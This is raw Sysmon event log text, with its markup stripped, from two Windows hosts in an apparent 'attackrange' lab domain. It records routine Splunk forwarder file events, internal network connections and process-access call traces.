Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F546C48034B333CE78DFA039C8372A08,SHA256=C2F3DBDCB52FD8A6B368132626FB3BCE5673BF7E64799DDA3531513A9C37F726,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015961Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:04.259{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD071560BCECBAF9CAA2593755639104,SHA256=842436EB9E57EBFC3C2455EE8CA5EC3ADF5B35609B2DB764C514E1C94CBEA845,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:05.556{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B36D339C0600A88769A22533985CAAEA,SHA256=3225EA90320896F698E284725156D8577315255B059163FBE9CEAB88A976F5D0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015963Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:04.427{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50259-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015962Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:05.274{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=27A624CCC4EB12DFBED6BA2BD4F0733E,SHA256=9C957B5C1044F43119DE42F973DA0D9EC316BC062B22A4118DB47F93C7FBB5E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:06.728{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BEC6046D35323B43552A23B004222932,SHA256=85321CC3D9E1363F094A0B765510BCA15C07E6E0E5A2ECF6BF2A31FFA5861DD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015964Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:06.274{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8F2C699398615F6E320FF51D4156432,SHA256=A7B675EE61C8D3B4E39DDD5C79A6335E247CF634B3FC1A87AF90D43A2495C80F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:04.457{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59460-false10.0.1.12-8000- 23542300x800000000000000048264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:07.759{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F584C248F3168721947E6FADB2BC44A,SHA256=271C0E5F154FBE4949DE37C9E90525578D5951D795C2F6F70045F5653F9EE39A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015965Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:07.305{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AF47C3E60B028ED1787D626CF9237EB9,SHA256=E65CB4892879EF6A50FD16C54C2D212428C8ABA83D1B3D209E1E548E157BCA00,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:08.868{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03E22564FEC80663181731BA2341BC48,SHA256=A2A19165A5186B75DF3A0BA299D445D7372ECD004FF89AA3C26AA3676B475106,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015967Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:08.482{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-041MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015966Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:08.308{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C97F5091D9A9771D1388F5EBED800A5F,SHA256=9270EE5B35108B03E71E6ABC55428773C99DB466E297E4ACC7F13CC93B6BEEA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:09.884{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E7A06D1CA7C6154C34601504B0B5059,SHA256=13AD6F80DFB892C19250864F48E4AA3F688A52826DEF5CDF9BF329BBFA7E1C40,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015969Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:09.495{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-042MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015968Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:09.322{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9D287E91960DAED90B67084D3F8FA62,SHA256=A0859D0B51187964B84A6B97FE8FD5D948E0AFCDAE8ED8957694A0004530739F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:10.897{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EC57532326B29720C40D2387892BFCC9,SHA256=43C59A05B6954EA66F82F3B307226BBF716F1F97E740A995C1DDF74C76B5BE65,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015970Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:10.355{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53545FE670D7EC338D452FA9F9803339,SHA256=11FDD7F09815280206DBC25B20B97738E28FE454ACFFA56BE639E5EE21B0DBD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:11.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10B3DD22B96EFDE6405C00178082F303,SHA256=CCDDA22ECBEB096EED12B90E825D247E6165B267BECB16ABCCA095AC09B05011,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015971Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:11.367{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D701C34646FA72CE8E4A309BD460090,SHA256=9A2549234ED74EF4F6BA9BAC9E82C3A7E31895135A9B59DB92CD5033196D8A84,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:12.928{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=24B3D4654E5CC4834109CF4034B52181,SHA256=9B0B0B16F1B048C05DECF9D55D6860E32F998D0CF3FB1A7A0E73DA0E77FD95A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015973Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:12.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=51C18901676CDB30BF72AEAEAC11C253,SHA256=DE9B5288047C55F05AD73E5B99A592B24E34194FBF27364D99A168DE49DC52FF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:09.489{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59461-false10.0.1.12-8000- 354300x800000000000000015972Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:10.365{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50260-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015974Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:13.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F20FB8F41D18A961520310FC01C3D42,SHA256=AD610A749B596D576CD85D1A178BEEAC2A42DBAF45E555BBE4E86F718909860A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015975Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:14.414{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6FF48232690C71DC0538028710BBA47F,SHA256=35105AB1AA516713CFA7D9BEE3321E76486DD5FAEE24562EE0FF91E14FA2A0E8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:14.006{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=733D350CBF770F4F7EEC51633D8DD422,SHA256=FB298800BF9D6571DE191F8AC4DBFF89A5FA77E9D876D345DDDF8043ED188643,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015976Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:15.430{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73F7461DB15266C6FE9E3563A5467331,SHA256=D7A626B794683D4685B95D57CD5FF505A46AAD0B2AE3AF9905A09A5B0DC57135,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:15.163{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:15.038{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67AAAE059847A95E30C99BDC28B26C96,SHA256=09729C29348AC676747A475C34027FBD537E6B1D8B8D5B3C939E80F22C49302B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:16.053{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DC40E746B8EE6C95194F5B1CBA4CCB33,SHA256=7AB2494A4D97C72034067AE1C80653D4A008262CC03BEAE177BCC5C9B5FFD6F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015977Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:16.445{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DA57E75A9AAF1B48520F84D0D2E40210,SHA256=A29CA10C7862D6C97916C9230A1071B899E94CE8A03D12AEBAD6576C3DAA4C08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015978Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:17.461{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=246F9004665F1D32EE3D6DAAFAF59EB3,SHA256=BB1D728D0E80880A44708A0A623EE4427BBF4A440775A8B0CDC918C7881CF55B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7211-613B-3C0B-00000000F001}6632C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7211-613B-3C0B-00000000F001}6632C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7211-613B-3C0B-00000000F001}6632C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.991{7BD73061-7211-613B-3C0B-00000000F001}6632C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000048285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:15.376{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59462-false10.0.1.12-8000- 10341000x800000000000000048284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.522{7BD73061-7211-613B-3B0B-00000000F001}66287152C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:17.319{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7211-613B-3B0B-00000000F001}6628C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 